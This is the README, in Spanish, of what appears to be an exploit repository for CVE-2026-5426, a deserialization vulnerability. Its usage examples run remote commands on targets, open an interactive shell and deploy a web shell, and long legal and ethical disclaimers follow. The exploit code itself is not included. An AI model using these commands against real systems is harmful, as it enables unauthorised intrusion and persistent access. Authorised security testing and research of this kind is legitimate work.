CVE-2026-5426

⚡ Uso Sencillo

Use este proyecto solo en entornos seguros y autorizados, como:

• Máquinas virtuales locales
• Contenedores Docker
• Entornos de laboratorio aislados
• Entornos de prueba de penetración autorizados

Configuración de ejemplo:

git clone <repository-url>
cd <repository-name>

Ejemplo de uso:

# Test a single target for vulnerability
python cve-2026-5426.py -t https://example.com

# Scan multiple targets from a file
python cve-2026-5426.py -t targets.txt

# Execute a command on a vulnerable target
python cve-2026-5426.py -t https://example.com -c "whoami"

# Execute a complex command
python cve-2026-5426.py -t https://example.com -c "ipconfig /all"

# Use a specific gadget type
python cve-2026-5426.py -t https://example.com -c "whoami" -g "WindowsIdentity"

# Interactive shell mode
python cve-2026-5426.py -t https://example.com --interactive

# Deploy a BLUEBEAM web shell
python cve-2026-5426.py -t https://example.com --deploy-shell

Crédito o Referencia

• https://cloud.google.com/blog/topics/threat-intelligence/knowledgedeliver-viewstate-deserialization-vulnerability

📚 Repositorio Educativo de Investigación en Seguridad

Un repositorio para aprender, probar e investigar conceptos de ciberseguridad en entornos controlados.

⚠️ Aviso de Seguridad y Legal

Propósito

Este repositorio es únicamente para investigación de seguridad educativa y autorizada.

Está diseñado para ayudar a los usuarios a aprender sobre:

• Vulnerabilidades de seguridad
• Conceptos de sandbox y aislamiento
• Prácticas de codificación segura y defensivas

Solo Uso Autorizado

Use este repositorio solo en entornos donde tenga permiso, como:

• Laboratorios personales o máquinas virtuales
• Entornos Docker o aislados
• Pruebas de penetración autorizadas
• Formación en ciberseguridad o investigación académica

El uso no autorizado o ilegal está estrictamente prohibido.

Sin Responsabilidad

El autor y los colaboradores no son responsables de ningún daño, uso indebido, problema legal o pérdida causada por este proyecto.

Al usar este repositorio, usted acepta que:

• Usted es responsable de sus propias acciones
• Lo utilizará de forma legal y ética
• El proyecto se proporciona sin garantía

Uso Ético

Este proyecto está destinado a:

• Investigación de seguridad defensiva
• Educación en ciberseguridad
• Concienciación sobre vulnerabilidades
• Investigación de sistemas y software seguros

Siga prácticas de divulgación responsable y cumpla con todas las leyes aplicables.

Contacto

Para divulgación responsable o colaboración, contacte al mantenedor del repositorio a través de GitHub.